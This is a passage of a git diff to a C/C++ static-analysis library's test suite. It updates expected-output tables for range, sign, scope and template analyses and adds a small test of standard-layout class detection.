| 99.0 | | test.c:373:15:373:16 | y2 | 99.0 | @@ -409,13 +403,10 @@ | test.c:384:7:384:7 | x | 4.294967295E9 | | test.c:385:5:385:6 | y3 | 4.294967295E9 | | test.c:385:11:385:11 | x | 4.294967295E9 | -| test.c:385:11:385:11 | x | 4.294967295E9 | | test.c:386:5:386:6 | y4 | 4.294967295E9 | | test.c:386:11:386:11 | x | 4.294967295E9 | -| test.c:386:11:386:11 | x | 4.294967295E9 | | test.c:387:5:387:6 | y5 | 4.294967295E9 | | test.c:387:27:387:27 | x | 4.294967295E9 | -| test.c:387:27:387:27 | x | 4.294967295E9 | | test.c:389:10:389:11 | y1 | 4.294967295E9 | | test.c:389:15:389:16 | y2 | 4.294967295E9 | | test.c:389:20:389:21 | y3 | 4.294967295E9 | diff --git a/cpp/ql/test/library-tests/rangeanalysis/signanalysis/SignAnalysis.expected b/cpp/ql/test/library-tests/rangeanalysis/signanalysis/SignAnalysis.expected index a1ebaf0f7bc..138d6c33a6e 100644 --- a/cpp/ql/test/library-tests/rangeanalysis/signanalysis/SignAnalysis.expected +++ b/cpp/ql/test/library-tests/rangeanalysis/signanalysis/SignAnalysis.expected @@ -499,7 +499,6 @@ | test.c:367:15:367:17 | Constant: (unsigned int)... | positive strictlyPositive | | test.c:368:5:368:21 | Store: ... = ... | positive strictlyPositive | | test.c:368:10:368:21 | Load: ... ? ... : ... | positive strictlyPositive | -| test.c:368:10:368:21 | Phi: ... ? ... : ... | positive strictlyPositive | | test.c:368:10:368:21 | Store: ... ? ... : ... | positive strictlyPositive | | test.c:368:11:368:11 | Load: x | positive | | test.c:368:11:368:13 | Add: ... + ... | positive strictlyPositive | @@ -508,7 +507,6 @@ | test.c:369:5:369:36 | Store: ... = ... | positive strictlyPositive | | test.c:369:10:369:36 | Convert: (unsigned int)... | positive strictlyPositive | | test.c:369:10:369:36 | Load: ... ? ... : ... | positive strictlyPositive | -| test.c:369:10:369:36 | Phi: ... ? ... : ... | positive strictlyPositive | | test.c:369:10:369:36 | Store: ... ? ... : ... | positive strictlyPositive | | test.c:369:11:369:30 | Convert: (unsigned char)... | positive | | test.c:369:27:369:27 | Load: x | positive | @@ -518,7 +516,6 @@ | test.c:370:5:370:38 | Store: ... = ... | positive strictlyPositive | | test.c:370:10:370:38 | Convert: (unsigned int)... | positive strictlyPositive | | test.c:370:10:370:38 | Load: ... ? ... : ... | positive strictlyPositive | -| test.c:370:10:370:38 | Phi: ... ? ... : ... | positive strictlyPositive | | test.c:370:10:370:38 | Store: ... ? ... : ... | positive strictlyPositive | | test.c:370:11:370:30 | Convert: (unsigned char)... | positive | | test.c:370:27:370:27 | Load: x | positive | @@ -528,7 +525,6 @@ | test.c:371:5:371:39 | Store: ... = ... | positive strictlyPositive | | test.c:371:10:371:39 | Convert: (unsigned int)... | positive strictlyPositive | | test.c:371:10:371:39 | Load: ... ? ... : ... | positive strictlyPositive | -| test.c:371:10:371:39 | Phi: ... ? ... : ... | positive strictlyPositive | | test.c:371:10:371:39 | Store: ... ? ... : ... | positive strictlyPositive | | test.c:371:11:371:31 | Convert: (unsigned short)... | positive | | test.c:371:28:371:28 | Load: x | positive | @@ -591,7 +587,6 @@ | test.c:384:12:384:14 | Constant: (unsigned int)... | positive strictlyPositive | | test.c:385:5:385:21 | Store: ... = ... | positive strictlyPositive | | test.c:385:10:385:21 | Load: ... ? ... : ... | positive strictlyPositive | -| test.c:385:10:385:21 | Phi: ... ? ... : ... | positive strictlyPositive | | test.c:385:10:385:21 | Store: ... ? ... : ... | positive strictlyPositive | | test.c:385:11:385:11 | Load: x | positive strictlyPositive | | test.c:385:11:385:15 | Sub: ... - ... | positive | @@ -599,7 +594,6 @@ | test.c:385:21:385:21 | Constant: (unsigned int)... | positive strictlyPositive | | test.c:386:5:386:21 | Store: ... = ... | positive strictlyPositive | | test.c:386:10:386:21 | Load: ... ? ... : ... | positive strictlyPositive | -| test.c:386:10:386:21 | Phi: ... ? ... : ... | positive strictlyPositive | | test.c:386:10:386:21 | Store: ... ? ... : ... | positive strictlyPositive | | test.c:386:11:386:11 | Load: x | positive strictlyPositive | | test.c:386:11:386:15 | Sub: ... - ... | positive | @@ -608,7 +602,6 @@ | test.c:387:5:387:38 | Store: ... = ... | positive strictlyPositive | | test.c:387:10:387:38 | Convert: (unsigned int)... | positive strictlyPositive | | test.c:387:10:387:38 | Load: ... ? ... : ... | positive strictlyPositive | -| test.c:387:10:387:38 | Phi: ... ? ... : ... | positive strictlyPositive | | test.c:387:10:387:38 | Store: ... ? ... : ... | positive strictlyPositive | | test.c:387:11:387:32 | Convert: (unsigned char)... | positive | | test.c:387:27:387:27 | Load: x | positive strictlyPositive | diff --git a/cpp/ql/test/library-tests/scopes/parents/parents.expected b/cpp/ql/test/library-tests/scopes/parents/parents.expected index 523d0884393..2c4d9f1ad3d 100644 --- a/cpp/ql/test/library-tests/scopes/parents/parents.expected +++ b/cpp/ql/test/library-tests/scopes/parents/parents.expected @@ -6,6 +6,8 @@ | 1 | file://:0:0:0:0 | __va_list_tag | file://:0:0:0:0 | operator= | | 1 | file://:0:0:0:0 | __va_list_tag | file://:0:0:0:0 | overflow_arg_area | | 1 | file://:0:0:0:0 | __va_list_tag | file://:0:0:0:0 | reg_save_area | +| 1 | file://:0:0:0:0 | operator= | file://:0:0:0:0 | p#0 | +| 1 | file://:0:0:0:0 | operator= | file://:0:0:0:0 | p#0 | | 1 | parents.cpp:2:11:2:13 | foo | parents.cpp:3:13:3:15 | foo::bar | | 1 | parents.cpp:3:13:3:15 | foo::bar | parents.cpp:4:10:4:10 | f | | 1 | parents.cpp:4:10:4:10 | f | parents.cpp:4:16:4:16 | i | diff --git a/cpp/ql/test/library-tests/sideEffects/functions/sideEffects.expected b/cpp/ql/test/library-tests/sideEffects/functions/sideEffects.expected index 952d3efb06a..264bb16db99 100644 --- a/cpp/ql/test/library-tests/sideEffects/functions/sideEffects.expected +++ b/cpp/ql/test/library-tests/sideEffects/functions/sideEffects.expected @@ -47,8 +47,8 @@ | error.cpp:7:6:7:23 | functionWithError1 | void | false | | error.cpp:12:6:12:23 | functionWithError2 | void | false | | error.cpp:17:6:17:23 | functionAfterError | void | true | -| file://:0:0:0:0 | operator= | __va_list_tag & | false | -| file://:0:0:0:0 | operator= | __va_list_tag & | false | +| file://:0:0:0:0 | operator= | __va_list_tag && -> __va_list_tag & | false | +| file://:0:0:0:0 | operator= | const __va_list_tag & -> __va_list_tag & | false | | sideEffects.c:4:5:4:6 | f1 | int | true | | sideEffects.c:12:5:12:6 | f2 | int | true | | sideEffects.c:20:5:20:6 | f3 | int | true | diff --git a/cpp/ql/test/library-tests/special_members/detect/detect.expected b/cpp/ql/test/library-tests/special_members/detect/detect.expected index 1d4f114a499..9b89a3efad4 100644 --- a/cpp/ql/test/library-tests/special_members/detect/detect.expected +++ b/cpp/ql/test/library-tests/special_members/detect/detect.expected @@ -21,11 +21,12 @@ | 4 copy assignment | C::operator=(Cinside_lref c) | | 4 copy assignment | C::operator=(const volatile C & c) | | 4 copy assignment | C::operator=(rref c_copy) | +| 4 copy assignment | __va_list_tag::operator=(const __va_list_tag & p#0) | | 5 move assignment | C::operator=(Ctop_rref c) | | 5 move assignment | C::operator=(const volatile C && c) | | 5 move assignment | C::operator=(rref c_move) | +| 5 move assignment | __va_list_tag::operator=(__va_list_tag && p#0) | | 6 none of the above | C::operator=(int i) | | 6 none of the above | C::operator=(volatile C & c_templated) | | 6 none of the above | C::operator=(volatile C && c_templated) | | 6 none of the above | C::operator==(const C & c) | -| 6 none of the above | __va_list_tag::operator=() | diff --git a/cpp/ql/test/library-tests/std_layout/test.c b/cpp/ql/test/library-tests/std_layout/test.c new file mode 100644 index 00000000000..abd7556697c --- /dev/null +++ b/cpp/ql/test/library-tests/std_layout/test.c @@ -0,0 +1,5 @@ + +// Confirm that `Class::isStandardLayout()` holds for a C struct. +struct PlainOldCStruct { + int x; +}; diff --git a/cpp/ql/test/library-tests/std_layout/test.cpp b/cpp/ql/test/library-tests/std_layout/test.cpp new file mode 100644 index 00000000000..10180749bb8 --- /dev/null +++ b/cpp/ql/test/library-tests/std_layout/test.cpp @@ -0,0 +1,89 @@ + +// AStd is a standard layout type +struct AStd { + int x; +}; + +// BNonStd is NOT a standard layout type - not all members have the same access +// control +class BNonStd { + int x; +public: + int y; +}; + +// CNonStd is NOT a standard layout type - it has a virtual function +class CNonStd { + virtual void f(); +}; + +// DNonStd is NOT a standard layout type - it has a virtual base class +class DNonStd : public virtual AStd {}; + +// ENonStd is NOT a standard layout type - it has a data member of reference +// type +class ENonStd { + int& xref; +}; + +// FStd is a standard layout type - all data members are standard layout types +class FStd { + AStd a; +}; + +// GNonStd is NOT a standard layout type - contains a non-standard-layout member +class GNonStd { + BNonStd b; +}; + +// HStd is a standard layout type - its base class is a standard layout type +struct HStd : AStd {}; + +// INonStd is NOT a standard layout type - its base class is not a standard +// layout type +struct INonStd : BNonStd {}; + +// JStd is a standard layout type +struct JStd { + static int x; +}; + +// KStd is a standard layout type - base class has no non-static data members +struct KStd : JStd {}; + +// LStd is a standard layout type - only one base class has non-static data +// members +struct LStd : AStd, JStd {}; + +// MNonStd is NOT a standard layout type - more than one base class with +// non-static data members +struct MNonStd : AStd, FStd {}; + +// Instantiations of NMaybeStd may or may not be standard layout types, +// depending on the template parameter. +template +struct NMaybeStd { + T x; +}; + +// Instantiation NMaybeStd is a standard layout type +NMaybeStd nmaybestd_astd; + +// Instantiation NMaybeStd is a standard layout type +NMaybeStd nmaybestd_int; + +// Instantiation NMaybeStd is NOT a standard layout type +NMaybeStd nmaybestd_bnonstd; + +// Instantiations of ONonStd cannot be standard layout types - regardless of the +// template parameter's type - since not all members have the same access +// control. +template +struct ONonStd { + T x; +private: + T y; +}; + +// Therefore instantiation ONonStd is NOT a standard layout type +ONonStd ononstd_int; diff --git a/cpp/ql/test/library-tests/std_layout/test.expected b/cpp/ql/test/library-tests/std_layout/test.expected new file mode 100644 index 00000000000..1070b1cfdda --- /dev/null +++ b/cpp/ql/test/library-tests/std_layout/test.expected @@ -0,0 +1,21 @@ +| file://:0:0:0:0 | __va_list_tag | standard layout | +| test.c:3:8:3:22 | PlainOldCStruct | standard layout | +| test.cpp:3:8:3:11 | AStd | standard layout | +| test.cpp:9:7:9:13 | BNonStd | NOT standard layout | +| test.cpp:16:7:16:13 | CNonStd | NOT standard layout | +| test.cpp:21:7:21:13 | DNonStd | NOT standard layout | +| test.cpp:25:7:25:13 | ENonStd | NOT standard layout | +| test.cpp:30:7:30:10 | FStd | standard layout | +| test.cpp:35:7:35:13 | GNonStd | NOT standard layout | +| test.cpp:40:8:40:11 | HStd | standard layout | +| test.cpp:44:8:44:14 | INonStd | NOT standard layout | +| test.cpp:47:8:47:11 | JStd | standard layout | +| test.cpp:52:8:52:11 | KStd | standard layout | +| test.cpp:56:8:56:11 | LStd | standard layout | +| test.cpp:60:8:60:14 | MNonStd | NOT standard layout | +| test.cpp:65:8:65:16 | NMaybeStd | standard layout | +| test.cpp:65:8:65:16 | NMaybeStd | NOT standard layout | +| test.cpp:65:8:65:16 | NMaybeStd | NOT standard layout | +| test.cpp:65:8:65:16 | NMaybeStd | standard layout | +| test.cpp:82:8:82:14 | ONonStd | NOT standard layout | +| test.cpp:82:8:82:14 | ONonStd | NOT standard layout | diff --git a/cpp/ql/test/library-tests/std_layout/test.ql b/cpp/ql/test/library-tests/std_layout/test.ql new file mode 100644 index 00000000000..f0f829e6110 --- /dev/null +++ b/cpp/ql/test/library-tests/std_layout/test.ql @@ -0,0 +1,5 @@ +import cpp + +from Class c, string s +where if c.isStandardLayout() then s = "standard layout" else s = "NOT standard layout" +select c, s diff --git a/cpp/ql/test/library-tests/structs/compatible_c/compatible.expected b/cpp/ql/test/library-tests/structs/compatible_c/compatible.expected index eb9e0d0529f..23397167f04 100644 --- a/cpp/ql/test/library-tests/structs/compatible_c/compatible.expected +++ b/cpp/ql/test/library-tests/structs/compatible_c/compatible.expected @@ -54,7 +54,7 @@ | c1_gnu.c:7:8:7:12 | Lemon | 1 members | 1 locations | 0 | lemon_x | | c2_gnu.c:2:8:2:11 | Kiwi | 1 members | 1 locations | 0 | kiwi_x | | c2_gnu.c:7:8:7:12 | Lemon | 1 members | 1 locations | 0 | lemon_x | -| file://:0:0:0:0 | __va_list_tag | 4 members | 1 locations | 0 | gp_offset | -| file://:0:0:0:0 | __va_list_tag | 4 members | 1 locations | 1 | fp_offset | -| file://:0:0:0:0 | __va_list_tag | 4 members | 1 locations | 2 | overflow_arg_area | -| file://:0:0:0:0 | __va_list_tag | 4 members | 1 locations | 3 | reg_save_area | +| file://:0:0:0:0 | __va_list_tag | 4 members | 0 locations | 0 | gp_offset | +| file://:0:0:0:0 | __va_list_tag | 4 members | 0 locations | 1 | fp_offset | +| file://:0:0:0:0 | __va_list_tag | 4 members | 0 locations | 2 | overflow_arg_area | +| file://:0:0:0:0 | __va_list_tag | 4 members | 0 locations | 3 | reg_save_area | diff --git a/cpp/ql/test/library-tests/structs/compatible_cpp/compatible.expected b/cpp/ql/test/library-tests/structs/compatible_cpp/compatible.expected index 326fea4210f..e33f5f851cd 100644 --- a/cpp/ql/test/library-tests/structs/compatible_cpp/compatible.expected +++ b/cpp/ql/test/library-tests/structs/compatible_cpp/compatible.expected @@ -49,9 +49,9 @@ | b2.cpp:21:7:21:12 | Damson | 5 members | 2 locations | 1 | foo | | b2.cpp:21:7:21:12 | Damson | 5 members | 2 locations | 2 | operator= | | b2.cpp:21:7:21:12 | Damson | 5 members | 2 locations | 3 | operator= | -| file://:0:0:0:0 | __va_list_tag | 6 members | 1 locations | 0 | gp_offset | -| file://:0:0:0:0 | __va_list_tag | 6 members | 1 locations | 1 | fp_offset | -| file://:0:0:0:0 | __va_list_tag | 6 members | 1 locations | 2 | overflow_arg_area | -| file://:0:0:0:0 | __va_list_tag | 6 members | 1 locations | 3 | reg_save_area | -| file://:0:0:0:0 | __va_list_tag | 6 members | 1 locations | 4 | operator= | -| file://:0:0:0:0 | __va_list_tag | 6 members | 1 locations | 5 | operator= | +| file://:0:0:0:0 | __va_list_tag | 6 members | 0 locations | 0 | gp_offset | +| file://:0:0:0:0 | __va_list_tag | 6 members | 0 locations | 1 | fp_offset | +| file://:0:0:0:0 | __va_list_tag | 6 members | 0 locations | 2 | overflow_arg_area | +| file://:0:0:0:0 | __va_list_tag | 6 members | 0 locations | 3 | reg_save_area | +| file://:0:0:0:0 | __va_list_tag | 6 members | 0 locations | 4 | operator= | +| file://:0:0:0:0 | __va_list_tag | 6 members | 0 locations | 5 | operator= | diff --git a/cpp/ql/test/library-tests/structs/mutual_recursion/compatible_members.expected b/cpp/ql/test/library-tests/structs/mutual_recursion/compatible_members.expected index 92b8a908f75..da896551790 100644 --- a/cpp/ql/test/library-tests/structs/mutual_recursion/compatible_members.expected +++ b/cpp/ql/test/library-tests/structs/mutual_recursion/compatible_members.expected @@ -24,7 +24,7 @@ | b.c:44:8:44:20 | IncompatibleD | 1 members | 2 locations | 0 | a | | b.c:51:8:51:20 | NonRecursiveA | 1 members | 1 locations | 0 | val | | b.c:55:8:55:20 | NonRecursiveB | 1 members | 1 locations | 0 | a | -| file://:0:0:0:0 | __va_list_tag | 4 members | 1 locations | 0 | gp_offset | -| file://:0:0:0:0 | __va_list_tag | 4 members | 1 locations | 1 | fp_offset | -| file://:0:0:0:0 | __va_list_tag | 4 members | 1 locations | 2 | overflow_arg_area | -| file://:0:0:0:0 | __va_list_tag | 4 members | 1 locations | 3 | reg_save_area | +| file://:0:0:0:0 | __va_list_tag | 4 members | 0 locations | 0 | gp_offset | +| file://:0:0:0:0 | __va_list_tag | 4 members | 0 locations | 1 | fp_offset | +| file://:0:0:0:0 | __va_list_tag | 4 members | 0 locations | 2 | overflow_arg_area | +| file://:0:0:0:0 | __va_list_tag | 4 members | 0 locations | 3 | reg_save_area | diff --git a/cpp/ql/test/library-tests/templates/CPP-203/decls.expected b/cpp/ql/test/library-tests/templates/CPP-203/decls.expected index c6f3122fe84..1010a2891c6 100644 --- a/cpp/ql/test/library-tests/templates/CPP-203/decls.expected +++ b/cpp/ql/test/library-tests/templates/CPP-203/decls.expected @@ -7,6 +7,8 @@ | file://:0:0:0:0 | overflow_arg_area | | file://:0:0:0:0 | p#0 | | file://:0:0:0:0 | p#0 | +| file://:0:0:0:0 | p#0 | +| file://:0:0:0:0 | p#0 | | file://:0:0:0:0 | reg_save_area | | test.cpp:2:16:2:16 | T | | test.cpp:3:8:3:8 | operator= | diff --git a/cpp/ql/test/library-tests/templates/CPP-204/element.expected b/cpp/ql/test/library-tests/templates/CPP-204/element.expected index 6c07e74e41c..7d9516508ae 100644 --- a/cpp/ql/test/library-tests/templates/CPP-204/element.expected +++ b/cpp/ql/test/library-tests/templates/CPP-204/element.expected @@ -3,10 +3,12 @@ | file://:0:0:0:0 | (global namespace) | | file://:0:0:0:0 | __va_list_tag | | file://:0:0:0:0 | __va_list_tag & | +| file://:0:0:0:0 | __va_list_tag && | | file://:0:0:0:0 | auto | | file://:0:0:0:0 | const EC | +| file://:0:0:0:0 | const __va_list_tag | +| file://:0:0:0:0 | const __va_list_tag & | | file://:0:0:0:0 | const bool | -| file://:0:0:0:0 | definition of __va_list_tag | | file://:0:0:0:0 | definition of fp_offset | | file://:0:0:0:0 | definition of gp_offset | | file://:0:0:0:0 | definition of overflow_arg_area | @@ -18,6 +20,8 @@ | file://:0:0:0:0 | operator= | | file://:0:0:0:0 | operator= | | file://:0:0:0:0 | overflow_arg_area | +| file://:0:0:0:0 | p#0 | +| file://:0:0:0:0 | p#0 | | file://:0:0:0:0 | reg_save_area | | file://:0:0:0:0 | void * | | test.cpp:0:0:0:0 | test.cpp | diff --git a/cpp/ql/test/library-tests/templates/CPP-223/decls.expected b/cpp/ql/test/library-tests/templates/CPP-223/decls.expected index c3ab0388d52..5709623a791 100644 --- a/cpp/ql/test/library-tests/templates/CPP-223/decls.expected +++ b/cpp/ql/test/library-tests/templates/CPP-223/decls.expected @@ -6,6 +6,8 @@ | file://:0:0:0:0 | operator= | | file://:0:0:0:0 | operator= | | file://:0:0:0:0 | overflow_arg_area | +| file://:0:0:0:0 | p#0 | +| file://:0:0:0:0 | p#0 | | file://:0:0:0:0 | reg_save_area | | test.cpp:3:24:3:24 | b | | test.cpp:4:26:4:26 | c<> | @@ -13,6 +15,7 @@ | test.cpp:5:29:5:29 | e | | test.cpp:6:26:6:26 | p#0 | | test.cpp:6:29:6:31 | p#1 | +| test.cpp:7:20:7:20 | f | | test.cpp:7:20:7:26 | f | | test.cpp:7:28:7:28 | p#0 | | test.cpp:7:31:7:33 | p#1 | diff --git a/cpp/ql/test/library-tests/templates/decls/decls.expected b/cpp/ql/test/library-tests/templates/decls/decls.expected index 3789b785252..43a691e53c9 100644 --- a/cpp/ql/test/library-tests/templates/decls/decls.expected +++ b/cpp/ql/test/library-tests/templates/decls/decls.expected @@ -16,4 +16,6 @@ | file://:0:0:0:0 | operator= | | file://:0:0:0:0 | operator= | | file://:0:0:0:0 | overflow_arg_area | +| file://:0:0:0:0 | p#0 | +| file://:0:0:0:0 | p#0 | | file://:0:0:0:0 | reg_save_area | diff --git a/cpp/ql/test/library-tests/templates/destructors/destructors.expected b/cpp/ql/test/library-tests/templates/destructors/destructors.expected index d2a219e25b6..ad842c5e88e 100644 --- a/cpp/ql/test/library-tests/templates/destructors/destructors.expected +++ b/cpp/ql/test/library-tests/templates/destructors/destructors.expected @@ -1,3 +1,3 @@ +| destructors.cpp:3:3:3:3 | ~Parameterized | destructors.cpp:2:8:2:20 | Parameterized | | destructors.cpp:3:3:3:16 | ~Parameterized | destructors.cpp:2:8:2:20 | Parameterized | -| destructors.cpp:3:3:3:16 | ~Parameterized | destructors.cpp:2:8:2:20 | Parameterized | | destructors.cpp:6:8:6:8 | ~Concrete | destructors.cpp:6:8:6:15 | Concrete | diff --git a/cpp/ql/test/library-tests/templates/extern/elements.expected b/cpp/ql/test/library-tests/templates/extern/elements.expected index 038f05ed309..6e28f4cf28e 100644 --- a/cpp/ql/test/library-tests/templates/extern/elements.expected +++ b/cpp/ql/test/library-tests/templates/extern/elements.expected @@ -3,8 +3,6 @@ | extern.cpp:1:20:1:20 | definition of T | | extern.cpp:2:5:2:5 | declaration of f | | extern.cpp:2:5:2:5 | f | -| extern.cpp:2:5:2:5 | f | | extern.cpp:2:7:2:7 | declaration of 1st parameter | | extern.cpp:2:7:2:7 | p#0 | -| extern.cpp:2:7:2:7 | p#0 | | extern.cpp:4:1:4:58 | // Currently we don't have an element for this declaration | diff --git a/cpp/ql/test/library-tests/templates/friends/decls.expected b/cpp/ql/test/library-tests/templates/friends/decls.expected index 7190a37e057..2d73623d0d3 100644 --- a/cpp/ql/test/library-tests/templates/friends/decls.expected +++ b/cpp/ql/test/library-tests/templates/friends/decls.expected @@ -1,7 +1,6 @@ | file://:0:0:0:0 | C's friend | | file://:0:0:0:0 | C's friend | | file://:0:0:0:0 | auto | -| file://:0:0:0:0 | f | | file://:0:0:0:0 | fp_offset | | file://:0:0:0:0 | gp_offset | | file://:0:0:0:0 | operator= | @@ -12,6 +11,7 @@ | file://:0:0:0:0 | p#0 | | file://:0:0:0:0 | p#0 | | file://:0:0:0:0 | p#0 | +| file://:0:0:0:0 | p#0 | | file://:0:0:0:0 | reg_save_area | | friends.cpp:2:19:2:21 | TTT | | friends.cpp:4:19:4:21 | TTT | @@ -28,6 +28,8 @@ | friends.cpp:7:9:7:9 | operator= | | friends.cpp:7:9:7:9 | operator= | | friends.cpp:7:9:7:9 | operator= | +| friends.cpp:9:17:9:17 | f | | friends.cpp:9:17:9:19 | C's friend | +| friends.cpp:9:21:9:26 | p#0 | | friends.cpp:12:17:12:17 | f | | friends.cpp:13:17:13:17 | f | diff --git a/cpp/ql/test/library-tests/templates/functions/functions.expected b/cpp/ql/test/library-tests/templates/functions/functions.expected index 15c847d45d2..b43bdb23535 100644 --- a/cpp/ql/test/library-tests/templates/functions/functions.expected +++ b/cpp/ql/test/library-tests/templates/functions/functions.expected @@ -1,8 +1,8 @@ | template_functions.cpp:3:8:3:8 | X | template_functions.cpp:6:5:6:15 | operator T * | template_functions.cpp:6:28:6:32 | (T *)... | | template_functions.cpp:3:8:3:8 | X | template_functions.cpp:6:5:6:15 | operator T * | template_functions.cpp:6:32:6:32 | 1 | -| template_functions.cpp:3:8:3:8 | X | template_functions.cpp:6:5:6:15 | operator int * | template_functions.cpp:6:28:6:32 | (int *)... | -| template_functions.cpp:3:8:3:8 | X | template_functions.cpp:6:5:6:15 | operator int * | template_functions.cpp:6:32:6:32 | 1 | +| template_functions.cpp:3:8:3:8 | X | template_functions.cpp:6:5:6:5 | operator int * | template_functions.cpp:6:28:6:32 | (int *)... | +| template_functions.cpp:3:8:3:8 | X | template_functions.cpp:6:5:6:5 | operator int * | template_functions.cpp:6:32:6:32 | 1 | | template_functions.cpp:13:10:13:14 | S | template_functions.cpp:16:5:16:15 | operator Q * | template_functions.cpp:16:28:16:32 | (Q *)... | | template_functions.cpp:13:10:13:14 | S | template_functions.cpp:16:5:16:15 | operator Q * | template_functions.cpp:16:32:16:32 | 2 | -| template_functions.cpp:13:10:13:14 | S | template_functions.cpp:16:5:16:15 | operator int * | template_functions.cpp:16:28:16:32 | (int *)... | -| template_functions.cpp:13:10:13:14 | S | template_functions.cpp:16:5:16:15 | operator int * | template_functions.cpp:16:32:16:32 | 2 | +| template_functions.cpp:13:10:13:14 | S | template_functions.cpp:16:5:16:5 | operator int * | template_functions.cpp:16:28:16:32 | (int *)... | +| template_functions.cpp:13:10:13:14 | S | template_functions.cpp:16:5:16:5 | operator int * | template_functions.cpp:16:32:16:32 | 2 | diff --git a/cpp/ql/test/library-tests/templates/incomplete_instantiations/test.expected b/cpp/ql/test/library-tests/templates/incomplete_instantiations/test.expected index 4743633a2c4..1cbf49e14d6 100644 --- a/cpp/ql/test/library-tests/templates/incomplete_instantiations/test.expected +++ b/cpp/ql/test/library-tests/templates/incomplete_instantiations/test.expected @@ -1,15 +1,13 @@ | h.h:3:7:3:7 | C | h.h:4:10:4:12 | fun | 0 | | h.h:3:7:3:7 | C | h.h:3:7:3:7 | operator= | 0 | | h.h:3:7:3:7 | C | h.h:3:7:3:7 | operator= | 0 | -| h.h:3:7:3:7 | C | h.h:4:10:4:12 | fun | 0 | | h.h:3:7:3:7 | C | h.h:3:7:3:7 | operator= | 0 | | h.h:3:7:3:7 | C | h.h:3:7:3:7 | operator= | 0 | -| h.h:3:7:3:7 | C | h.h:4:10:4:12 | fun | 0 | | h.h:8:7:8:7 | D | h.h:10:10:10:12 | fun | 2 | | h.h:8:7:8:7 | D | h.h:8:7:8:7 | operator= | 0 | | h.h:8:7:8:7 | D | h.h:8:7:8:7 | operator= | 0 | -| h.h:8:7:8:7 | D | h.h:10:10:10:12 | fun | 2 | +| h.h:8:7:8:7 | D | h.h:10:10:10:10 | fun | 2 | | h.h:14:7:14:7 | E | h.h:16:10:16:12 | fun | 2 | | h.h:14:7:14:7 | E | h.h:14:7:14:7 | operator= | 0 | | h.h:14:7:14:7 | E | h.h:14:7:14:7 | operator= | 0 | -| h.h:14:7:14:7 | E | h.h:16:10:16:12 | fun | 2 | +| h.h:14:7:14:7 | E | h.h:16:10:16:10 | fun | 2 | diff --git a/cpp/ql/test/library-tests/templates/instantiation_directive/functions.expected b/cpp/ql/test/library-tests/templates/instantiation_directive/functions.expected index efee8321dbd..672fae72e06 100644 --- a/cpp/ql/test/library-tests/templates/instantiation_directive/functions.expected +++ b/cpp/ql/test/library-tests/templates/instantiation_directive/functions.expected @@ -1,3 +1,3 @@ -| test.cpp:2:6:2:8 | foo | file://:0:0:0:0 | float | -| test.cpp:2:6:2:8 | foo | file://:0:0:0:0 | int | +| file://:0:0:0:0 | operator= | file://:0:0:0:0 | __va_list_tag && | +| file://:0:0:0:0 | operator= | file://:0:0:0:0 | const __va_list_tag & | | test.cpp:2:6:2:8 | foo | test.cpp:1:19:1:19 | T | diff --git a/cpp/ql/test/library-tests/templates/instantiations_functions/elements.expected b/cpp/ql/test/library-tests/templates/instantiations_functions/elements.expected index a368e9100f0..994e6edb7a0 100644 --- a/cpp/ql/test/library-tests/templates/instantiations_functions/elements.expected +++ b/cpp/ql/test/library-tests/templates/instantiations_functions/elements.expected @@ -35,6 +35,7 @@ | file://:0:0:0:0 | __uptr | | file://:0:0:0:0 | __va_list_tag | | file://:0:0:0:0 | __va_list_tag & | +| file://:0:0:0:0 | __va_list_tag && | | file://:0:0:0:0 | abstract | | file://:0:0:0:0 | action * | | file://:0:0:0:0 | action *const | @@ -59,6 +60,8 @@ | file://:0:0:0:0 | composite && | | file://:0:0:0:0 | composite * | | file://:0:0:0:0 | const | +| file://:0:0:0:0 | const __va_list_tag | +| file://:0:0:0:0 | const __va_list_tag & | | file://:0:0:0:0 | const action>> | | file://:0:0:0:0 | const action>> & | | file://:0:0:0:0 | const actor1> | @@ -86,7 +89,6 @@ | file://:0:0:0:0 | declaration of 1st parameter | | file://:0:0:0:0 | declaration of 1st parameter | | file://:0:0:0:0 | decltype(nullptr) | -| file://:0:0:0:0 | definition of __va_list_tag | | file://:0:0:0:0 | definition of fp_offset | | file://:0:0:0:0 | definition of gp_offset | | file://:0:0:0:0 | definition of overflow_arg_area | @@ -141,6 +143,8 @@ | file://:0:0:0:0 | p#0 | | file://:0:0:0:0 | p#0 | | file://:0:0:0:0 | p#0 | +| file://:0:0:0:0 | p#0 | +| file://:0:0:0:0 | p#0 | | file://:0:0:0:0 | private | | file://:0:0:0:0 | protected | | file://:0:0:0:0 | public | @@ -198,19 +202,20 @@ | header.h:4:5:4:10 | actor1 | | header.h:4:5:4:10 | actor1 | | header.h:4:5:4:10 | declaration of actor1 | -| header.h:4:5:4:10 | declaration of actor1 | | header.h:6:24:6:24 | A | | header.h:6:24:6:24 | definition of A | +| header.h:8:5:8:5 | definition of funx | +| header.h:8:5:8:5 | funx | | header.h:8:5:8:8 | declaration of funx | | header.h:8:5:8:8 | definition of funx | | header.h:8:5:8:8 | funx | | header.h:8:5:8:8 | funx | -| header.h:8:5:8:8 | funx | | header.h:8:13:8:14 | a_ | | header.h:8:13:8:14 | a_ | | header.h:8:13:8:14 | a_ | | header.h:8:13:8:14 | declaration of a_ | | header.h:8:13:8:14 | definition of a_ | +| header.h:8:13:8:14 | definition of a_ | | header.h:8:17:11:5 | { ... } | | header.h:8:17:11:5 | { ... } | | header.h:9:9:9:14 | declaration | @@ -251,22 +256,25 @@ | test.cpp:7:8:7:16 | definition of composite | | test.cpp:8:24:8:29 | TupleT | | test.cpp:8:24:8:29 | definition of TupleT | +| test.cpp:9:10:9:10 | definition of eval | +| test.cpp:9:10:9:10 | eval | | test.cpp:9:10:9:13 | declaration of eval | | test.cpp:9:10:9:13 | definition of eval | | test.cpp:9:10:9:13 | eval | | test.cpp:9:10:9:13 | eval | -| test.cpp:9:10:9:13 | eval | | test.cpp:9:22:9:25 | args | | test.cpp:9:22:9:25 | args | | test.cpp:9:22:9:25 | args | | test.cpp:9:22:9:25 | declaration of args | | test.cpp:9:22:9:25 | definition of args | +| test.cpp:9:22:9:25 | definition of args | | test.cpp:9:28:9:30 | { ... } | | test.cpp:9:28:9:30 | { ... } | | test.cpp:9:30:9:30 | return ... | | test.cpp:9:30:9:30 | return ... | | test.cpp:12:1:12:19 | #include "header.h" | | test.cpp:14:20:14:26 | ActionT | +| test.cpp:14:20:14:26 | ActionT | | test.cpp:14:20:14:26 | definition of ActionT | | test.cpp:15:7:15:7 | Unknown literal | | test.cpp:15:7:15:7 | action | @@ -289,9 +297,10 @@ | test.cpp:15:7:15:12 | action | | 